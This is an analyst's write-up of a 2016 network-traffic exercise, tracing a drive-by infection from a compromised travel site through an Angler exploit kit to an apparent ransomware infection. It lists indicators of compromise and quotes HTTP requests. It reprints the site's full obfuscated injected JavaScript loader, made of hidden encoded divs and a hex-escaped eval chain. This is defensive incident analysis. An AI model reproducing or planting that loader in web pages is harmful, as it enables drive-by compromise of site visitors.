So here is another one from Brad. Talking to some of the other guys on the team, we all came to the conclusion that this one seemed kind of “generic” (for the lack of a better word); which leads me to believe that I missed something somewhere. LOL. The whole second guessing yourself really does suck at times. But anyways, here is my write-up of this latest one. Enjoy!
About the Investigation
=======================
– Date and time range of the traffic you’re reviewing.
> 2016-02-28 22:38:13 – 2016-02-28 22:46:27 Elapsed: 00:08:14
– IP address, MAC address, and host name.
> 172.16.181.176 / 00:c0:4f:f6:3e:74 / WIN-DJ3W602WC9M
– Description of the activity (what happened, if the host became infected, any details, etc.).
> From what I can tell in the PCAP, the end-user went to a compromised site that had a hidden malicious script on the page. The obfuscated Javascript code, I believe, directed the end-user’s browser (IE v8.0) to the malicious site, which then directed the user to download a malcious Flash file. From there the system became compromsied and evidence is seen that some encrypted binaries were downloaded. Based on the alerts from the PCAP, I believe that the system has been infected by CryptoLocker via an Angler EK.
– A conclusion with recommendations for any follow-up actions.
> At this time I would re-image the system to make sure that it is absolutely clean. I would also start looking at any firewall/gateway/DNS logs to see if any of the sites mentioned below can be found and if so, pull them off the network for further investigation.
– Indicators of Compromise (IP, FQDN, etc…)
> 188.121.54.128 / www.mysecretdeals.nl
> 85.143.222.170 / netmakevitelaoversttelsestidspunkt.timepassion.com
> 192.185.39.66 / biocarbon.com.ec
Notes about the investigation
==============================
At approximately 22:43.00 on the 28th of February, the user of the system WIN-DJ3W602WC9M went looking for a travel deal on the site www[.]mysecretdeals[.]nl as seen in the PCAP. From there, it looks as if the site was compromised as there is an obfuscated Javascript found in the code as seen below:
<div id="gzyyontewnvauwa" style="position: absolute; top: -1999px; left: -1370px">byd i 'cm' e rbmbgbc bpesepesbab h cmasb, dbj cbandwc, abvbtdgaad i c sci 'e' ceacsb rc lckaobdbpd ebaeidue, ccuesecd see cqegaf, ag el. ened dleuece s eldbdwd f dp 96 cgcdbsan 57 bi bud w cf bbbrdodncid ueucu 59 e, gakacakbrax ekd ta k alaobm ataka cak cvepa, pac dud ubx a jc eb. yependbdwdecwbpbrbzancl; dze ae ja qb lcp djepc c; b, ucjay azazbuag btdl. dheje desc u bocbbpb - vazbhdlcsepbhbuahbn. b 47 z bves cvdwa vefajakarcdb fbf a zaj cja lerefajak ardh ewe bevdt dgc a, dic, sb xexegdfeeclbybqbdc c de c ndwdsec ambtbu b vemaabr du dybaarcbba b l cab tekdpexd. fdpcg cdbsan bi bu dwb - tagbt c pdjejdxevbbceb jbmclcwecc oct cebobtalb vbuckbs, a pcadkcnb wccbo ahbidsbrcea hbrdn, c. tbt - bnesbc b jbqeiepczem aecobhercca bbobub, i dsctema hc obherbpa. nb lcjbibud aep ahac bp cge saveienc fbuan bo de amdxbmbobeee cf bmchah, cdakaqbsc dbgacbgcfbpbuaabya! v amdx brb, nbab tcd bvesahccd ga p etbqcbbccidsdxenb ab hcpd rce bpbk bebl bu bvcca vbrcndjbrbxc 'bbcbpc' ccfclah bwdqdibqbycaagb nbud w bu bdbpde c oc, ebxbyabb 'jca' dwcfb bbp aydccc bjbzamcle ncibzarbzddd pb rcdbs cscib ycgdx as er acak. e xbxbo amejbj ceduc ze ldl. ae e eb obza k erdue vecdid: w. cmdncj c cb pdhe g e a e x e - cd idw drdj b w blbp bc e je q e q eh cqd yajaoe. obrbnbabtcdbvdw cueddfd nb ve udycnep</div> <div id="ejteaztmik" style="position: absolute; top: -1602px; left: -1579px">112;119;105;110;99;101;107;120;111;103;103;107;61;40;43;91;119;105;110;100;111;119;46;115;105;100;101;98;97; 114;93;41;59;99;97;112;103;118;116;119;100;108;113;100;116;119;104;103;61;91;34;114;118;58;49;49;34;44;34;77;83;73;69;34;44;93;59;102;111;114;40;116;114;121;107;106;98;119;101;98;104;61 ;112;119;105;110;99;101;107;120;111;103;103;107;59;116;114;121;107;106;98;119;101;98;104;60;99;97;112;103;118;116;119;100;108;113;100;116;119;104;103;46;108;101;110;103;116;104;59;116;1 14;121;107;106;98;119;101;98;104;43;43;41;123;105;102;40;110;97;118;105;103;97;116;111;114;46;117;115;101;114;65;103;101;110;116;46;105;110;100;101;120;79;102;40;99;97;112;103;118;116;1 19;100;108;113;100;116;119;104;103;91;116;114;121;107;106;98;119;101;98;104;93;41;62;112;119;105;110;99;101;107;120;111;103;103;107;41;123;117;122;103;97;99;120;102;111;114;106;118;114; 61;99;97;112;103;118;116;119;100;108;113;100;116;119;104;103;46;108;101;110;103;116;104;45;116;114;121;107;106;98;119;101;98;104;59;98;114;101;97;107;59;125;125;105;102;40;110;97;118;10 5;103;97;116;111;114;46;117;115;101;114;65;103;101;110;116;46;105;110;100;101;120;79;102;40;34;77;83;73;69;49;48;34;41;62;112;119;105;110;99;101;107;120;111;103;103;107;41;123;117;122;1 03;97;99;120;102;111;114;106;118;114;43;43;59;125;117;121;108;121;98;103;109;111;108;116;113;61;117;122;103;97;99;120;102;111;114;106;118;114;45;49;59;117;97;107;120;122;102;105;119;106 ;100;115;121;110;61;34;68;55;50;89;66;65;104;76;90;74;90;116;34;59;97;99;104;102;120;120;120;117;114;118;120;117;101;61;100;111;99;117;109;101;110;116;46;103;101;116;69;108;101;109;101; 110;116;66;121;73;100;40;34;103;122;121;121;111;110;116;101;119;110;118;97;117;119;97;34;41;46;105;110;110;101;114;72;84;77;76;59;117;101;108;112;111;106;106;100;97;118;116;98;100;108;6 1;112;119;105;110;99;101;107;120;111;103;103;107;59;99;122;104;101;97;106;116;102;112;115;61;112;119;105;110;99;101;107;120;111;103;103;107;59;102;117;108;114;101;111;111;100;100;104;10 8;118;98;104;109;113;113;61;34;34;59;102;111;114;40;116;114;121;107;106;98;119;101;98;104;61;112;119;105;110;99;101;107;120;111;103;103;107;59;116;114;121;107;106;98;119;101;98;104;60;9 7;99;104;102;120;120;120;117;114;118;120;117;101;46;108;101;110;103;116;104;59;116;114;121;107;106;98;119;101;98;104;43;61;117;121;108;121;98;103;109;111;108;116;113;41;123;101;102;112; 122;118;100;113;120;115;118;111;109;101;120;61;97;99;104;102;120;120;120;117;114;118;120;117;101;46;99;104;97;114;67;111;100;101;65;116;40;116;114;121;107;106;98;119;101;98;104;41;59;10 5;102;40;101;102;112;122;118;100;113;120;115;118;111;109;101;120;62;61;57;55;38;38;101;102;112;122;118;100;113;120;115;118;111;109;101;120;60;61;49;50;50;41;123;105;102;40;117;101;108;1 12;111;106;106;100;97;118;116;98;100;108;37;117;122;103;97;99;120;102;111;114;106;118;114;41;123;102;117;108;114;101;111;111;100;100;104;108;118;98;104;109;113;113;43;61;83;116;114;105; 110;103;46;102;114;111;109;67;104;97;114;67;111;100;101;40;40;40;113;122;102;118;122;120;106;110;114;105;103;113;115;111;109;43;101;102;112;122;118;100;113;120;115;118;111;109;101;120;4 5;57;55;41;94;117;97;107;120;122;102;105;119;106;100;115;121;110;46;99;104;97;114;67;111;100;101;65;116;40;99;122;104;101;97;106;116;102;112;115;37;117;97;107;120;122;102;105;119;106;10 0;115;121;110;46;108;101;110;103;116;104;41;41;37;50;53;53;41;59;99;122;104;101;97;106;116;102;112;115;43;43;59;125;101;108;115;101;123;113;122;102;118;122;120;106;110;114;105;103;113;1 15;111;109;61;40;101;102;112;122;118;100;113;120;115;118;111;109;101;120;45;57;55;41;42;50;54;59;125;117;101;108;112;111;106;106;100;97;118;116;98;100;108;43;43;59;125;125;91;93;91;34;9 9;111;110;115;116;114;117;99;116;111;114;34;93;91;34;99;111;110;115;116;114;117;99;116;111;114;34;93;40;102;117;108;114;101;111;111;100;100;104;108;118;98;104;109;113;113;41;40;41;59</ div> <script> wobqesyszfi="\x2e\x73"; nnkhgqgbpsdk="\x53"; nmbekhwxixcb="\x6e\x67"; jdmqeslorgubbhdk="\x64\x6f"; wobqesyszfi=wobqesyszfi+"\x70"; nmbekhwxixcb=nmbekhwxixcb+"\x2e\x66"; gxylmrwaor="\x2e"; gxylmrwaor=gxylmrwaor+"\x61\x70"; jazrnxwtcbwzwld="\x28"; ewhhvshumeic="\x65\x76\x61\x6c"; ylsxnjfqplhwvl="\x69\x6e\x6e\x65\x72"; jazrnxwtcbwzwld=jazrnxwtcbwzwld+"\x22"; uyzsesecha="\x63\x6f\x6e"; nmbekhwxixcb=nmbekhwxixcb+"\x72\x6f"; gxylmrwaor=gxylmrwaor+"\x70\x6c\x79\x28\x6e\x75\x6c\x6c"; jdmqeslorgubbhdk=jdmqeslorgubbhdk+"\x63\x75\x6d"; gxylmrwaor=gxylmrwaor+"\x2c"; wobqesyszfi=wobqesyszfi+"\x6c"; wobqesyszfi=wobqesyszfi+"\x69\x74\x28"; ylsxnjfqplhwvl=ylsxnjfqplhwvl+"\x48\x54"; uyzsesecha=uyzsesecha+"\x73"; jdmqeslorgubbhdk=jdmqeslorgubbhdk+"\x65\x6e"; jdmqeslorgubbhdk=jdmqeslorgubbhdk+"\x74\x2e"; nnkhgqgbpsdk=nnkhgqgbpsdk+"\x74\x72\x69"; blmqgofrutify="\x6d"; wobqesyszfi=wobqesyszfi+"\x22"; wobqesyszfi=wobqesyszfi+"\x3b\x22\x29\x29"; uyzsesecha=uyzsesecha+"\x74\x72\x75\x63\x74"; jazrnxwtcbwzwld=jazrnxwtcbwzwld+"\x65\x6a"; blmqgofrutify=blmqgofrutify+"\x43\x68\x61\x72\x43"; mlefnllgucu="\x28"; hlaybuppfayjd="\x29"; jdmqeslorgubbhdk=jdmqeslorgubbhdk+"\x67\x65\x74"; uyzsesecha=uyzsesecha+"\x6f"; jdmqeslorgubbhdk=jdmqeslorgubbhdk+"\x45"; uyzsesecha=uyzsesecha+"\x72"; jazrnxwtcbwzwld=jazrnxwtcbwzwld+"\x74"; jdmqeslorgubbhdk=jdmqeslorgubbhdk+"\x6c\x65\x6d\x65\x6e"; jazrnxwtcbwzwld=jazrnxwtcbwzwld+"\x65\x61"; jazrnxwtcbwzwld=jazrnxwtcbwzwld+"\x7a\x74\x6d\x69\x6b\x22\x29\x2e"; jdmqeslorgubbhdk=jdmqeslorgubbhdk+"\x74\x42\x79\x49"; blmqgofrutify=blmqgofrutify+"\x6f\x64\x65"; jdmqeslorgubbhdk=jdmqeslorgubbhdk+"\x64"; ylsxnjfqplhwvl=ylsxnjfqplhwvl+"\x4d\x4c"; [][uyzsesecha][uyzsesecha](ewhhvshumeic + mlefnllgucu + nnkhgqgbpsdk + nmbekhwxixcb + blmqgofrutify + gxylmrwaor + jdmqeslorgubbhdk + jazrnxwtcbwzwld + ylsxnjfqplhwvl + wobqesyszfi + hlaybuppfayjd)(); </script>
I was not able to de-obfuscate the top bit of the script, but the bottom part I managed to manually deobfuscate it (I know that there are better ways of doing it, I am just not sure of them and I did not go Googling for it either). The code looks something like this:
wobqesyszfi=.s nnkhgqgbpsdk=S nmbekhwxixcb=ng jdmqeslorgubbhdk=do wobqesyszfi=.sp nmbekhwxixcb=ng.f gxylmrwaor=. gxylmrwaor=.ap jazrnxwtcbwzwld=( ewhhvshumeic=eval ylsxnjfqplhwvl=inner jazrnxwtcbwzwld=(" uyzsesecha=con nmbekhwxixcb=ng.fro gxylmrwaor=.apply(null jdmqeslorgubbhdk=docum gxylmrwaor=.apply(null, wobqesyszfi=.spl wobqesyszfi=.split( ylsxnjfqplhwvl=innerHT uyzsesecha=cons jdmqeslorgubbhdk=documen jdmqeslorgubbhdk=document. nnkhgqgbpsdk=Stri blmqgofrutify=m wobqesyszfi=.split(" wobqesyszfi=.split("")) uyzsesecha=construct jazrnxwtcbwzwld=("ej blmqgofrutify=mCharC mlefnllgucu=( hlaybuppfayjd=) jdmqeslorgubbhdk=document.get uyzsesecha=constructo jdmqeslorgubbhdk=document.get+E uyzsesecha=constructor jazrnxwtcbwzwld=("ejt jdmqeslorgubbhdk=("ejtlemen jazrnxwtcbwzwld=("ejtea jazrnxwtcbwzwld=("ejteaztmik"). jdmqeslorgubbhdk=("ejtlementByI blmqgofrutify=mCharCode jdmqeslorgubbhdk=("ejtlementById ylsxnjfqplhwvl=innerHTML [][constructor][constructor](eval(String.fromCharCode.apply(null,("ejtlementById("ejteaztmik")innerHTML.split(""))))();
From here it looks as if the end-user was guided to the malicious site that is hosting the Angler EK as seen here:
GET /boards/viewforum.php?f=58&sid=yr897n65jrb5870 HTTP/1.1 Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap, */* Referer: http://www.mysecretdeals.nl/ Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506) Accept-Encoding: gzip, deflate Host: netmakevitelaoversttelsestidspunkt.timepassion.com Connection: Keep-Alive HTTP/1.1 200 OK Server: nginx/1.9.12 Date: Sun, 28 Feb 2016 22:43:21 GMT Content-Type: text/html Content-Length: 108254 Connection: keep-alive Set-Cookie: 25931d49efb527d3=4; expires=Sun, 28-Feb-2016 22:56:39 GMT; Max-Age=759; path=/sdfnksjgbkd <!DOCTYPE html> <html> <head> <title> it. here </title> </head> <body> lost no time to deliberate and judge." "But I do not know; for WE of course made every necessary arrangement with the fortitude of an affair, a connection--but need <s> <i> " "You would not interest.--I know of no profession at all."
At this point, it looks like the infection of the system starts as we see a call for a Flash file:
GET /state.web?cold=&cost=d5FxlISZeZ&discover=&enter=YLBQglDPR&small=lRl7&four=SnYlNzQTvE&themselves=4k28hYBwac&work=&business=mxCZi HTTP/1.1 Accept: */* Accept-Language: en-US Referer: http://netmakevitelaoversttelsestidspunkt.timepassion.com/boards/viewforum.php?f=58&sid=yr897n65jrb5870 x-flash-version: 11,9,900,117 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506) Host: netmakevitelaoversttelsestidspunkt.timepassion.com Connection: Keep-Alive HTTP/1.1 200 OK Server: nginx/1.9.12 Date: Sun, 28 Feb 2016 22:43:34 GMT Content-Type: application/x-shockwave-flash Content-Length: 64564 Connection: keep-alive Set-Cookie: ebcdd9a5f0f651f4002=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/sdfnksjgbkd CWS ....x
and then what I believe to be encrypted binaries being pulled down:
GET /center.zhtml?white=q4Oi2zp&enjoy=gOwqO&too=d261z&knowledge=BbbhYsrB0E&procedure=-OTumdS2L&low=dZyrI&carry=dChAB8P HTTP/1.1 Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506) Referer: http://www.mysecretdeals.nl/ Accept-Language: en-us Accept-Encoding: gzip, deflate Host: netmakevitelaoversttelsestidspunkt.timepassion.com Connection: Keep-Alive HTTP/1.1 200 OK Server: nginx/1.9.12 Date: Sun, 28 Feb 2016 22:43:40 GMT Content-Type: application/octet-stream Content-Length: 372756 Connection: keep-alive Set-Cookie: 86bdef36936e928f0717fa17=ede2aab62cb4b8b4ad5d7595974f368; expires=Sun, 28-Feb-2016 23:39:44 GMT; Max-Age=3325; path=/sdfnksjgbkd e.zgE ----- GET /thus.zfo?different=IaU_lMeX3O&institution=ICg9nM&success=1DE8hbm9&southern=_TPIKGykTU&direct=UrB1-5IP9Ebbnz HTTP/1.1 Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506) Referer: http://www.mysecretdeals.nl/ Accept-Language: en-us Accept-Encoding: gzip, deflate Host: netmakevitelaoversttelsestidspunkt.timepassion.com Connection: Keep-Alive HTTP/1.1 200 OK Server: nginx/1.9.12 Date: Sun, 28 Feb 2016 22:43:52 GMT Content-Type: application/octet-stream Content-Length: 372756 Connection: keep-alive Set-Cookie: 0e67a4b0cb7e67=915cbb5ef5ed1bc926c5593bd1; expires=Sun, 28-Feb-2016 23:09:53 GMT; Max-Age=1523; path=/sdfnksjgbkd ..5...iZ..z.....1...1...17....^KSr.$.Jd....
After the first GET request above, we see the start of POSTs being sent to another server:
POST /wp-content/uploads/bstr.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko Host: biocarbon.com.ec Content-Length: 645 Cache-Control: no-cache data=AFAA7EF96957AF623769DB8A2D403F7F570FF3481F39D30BEB29F7E428F3AFDB2D6CFED0B0DC5E2A736708790A48012595F4DEA6B2A7B39182E75BDA74CEFE1CA987E7A1014847BEED0AEF99D2FB8C926F7DF2A38013FFDCF05 2FA64C3C8114E11EDB1974CC9C2AC9F60D30C99D4B46FC677CE2C2BE78A8193E3CCD665D2BCE705D7B26C9DCDC93BE02A59CF23C2BE8BFBA168B54329908DCF2445BE1DAF230E29C2262975B95125CB493937C2B5B16BEA5E217C286 997809A08BBE69F61A0877843C1989A2259419EB2AB946B430A37073F7526E10DB30DAA2BE5BDFA517FAA6AE2DF99D3E8F6AF3895B58A4B35CFCF71DFDB63C3B9B27DE852B3D69 7C269A8F956ED5ADF62873B2CD11EE42353ECD0023E105005D8C52C53D5AFDF17D3C490DB1C7DCACB1B6395D90CA2525BA9A0A3E9444572C5FC45AB67C2B7929994024AHTTP/1.1 200 OK Server: nginx/1.8.1 Date: Sun, 28 Feb 2016 22:43:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive 14 ---!!!INSERTED!!!--- 0 ----- POST /wp-content/uploads/bstr.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko Host: biocarbon.com.ec Content-Length: 645 Cache-Control: no-cache data=FF982F7A97833388A40909A5E1EBAEE226AE92B7DBCD01C93B775D4D943B4ECF3FADEB176E8A5A9BC046FDF16318A365FCB569428A7A71D6ED10946662AC4157976110F7883000DCB9A2BDBD7F332F2DAB4C22A1DE73BBE57AE 062F838A6065D73AC39C85578B6F42D9898C433EC3D5AFD77FB1FF2D8594BEF886B235576A753591D61B94B8CEC5C8658393DCA1182FEA1031ADE3DA0DD4D9FB10CB2EC48457751E0A1349A0E66DAE4550D2479D1D453258A8A615A3 C12852CDB01CE1BA1B77145550DB51829E6DF6574F9ED3F6FCEF64A9D475F6350D4D4F501251872BA1A11254F0AB41C5FE14BF4D33A3002F0345553A1A3020298F383A8B28C2C7 77A268A722062F6FE6056BA756005575991EFA3217113991C0FA9445CF282D7F091EE7FB8E5BC9E27C82A883B1871A30C6EB3BABDAFE2F390AB4F4C6782DC87E083AC55HTTP/1.1 200 OK Server: nginx/1.8.1 Date: Sun, 28 Feb 2016 22:44:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive 14 ---!!!INSERTED!!!--- 0
And from this point on we don’t see anything else. The only thing that I have been able to get from the PCAP is the Flash file:
File: netmakevitelaoversttelsestidspunkt.timepassion.com.swf
Size: 63.0 KB
SHA256: eca4004459c2e8cc148fb4838b7c6f909d796492e9c375e8ee22923fdbc12c0c
MD5: d14b011b930bf3b4666f0933a7516912
First Submission: 2016-02-29 05:36:24 UTC
Detection ratio: 22 / 56
Virustotal link: http://www.virustotal.com/en/file/eca4004459c2e8cc148fb4838b7c6f909d796492e9c375e8ee22923fdbc12c0c/analysis/1457717421/
Based on the results from VirusTotal, and also since we saw the Angler EK page above, this looks to be Angler EK leading to *Crypt infection (either Alpha or Telsa). Unfortunately I am not seeing anything else in the PCAP that shows the landing page of the usual *Crypt infection. As usual, you can find the Flash file and the obfuscated Javascript in my Github repo.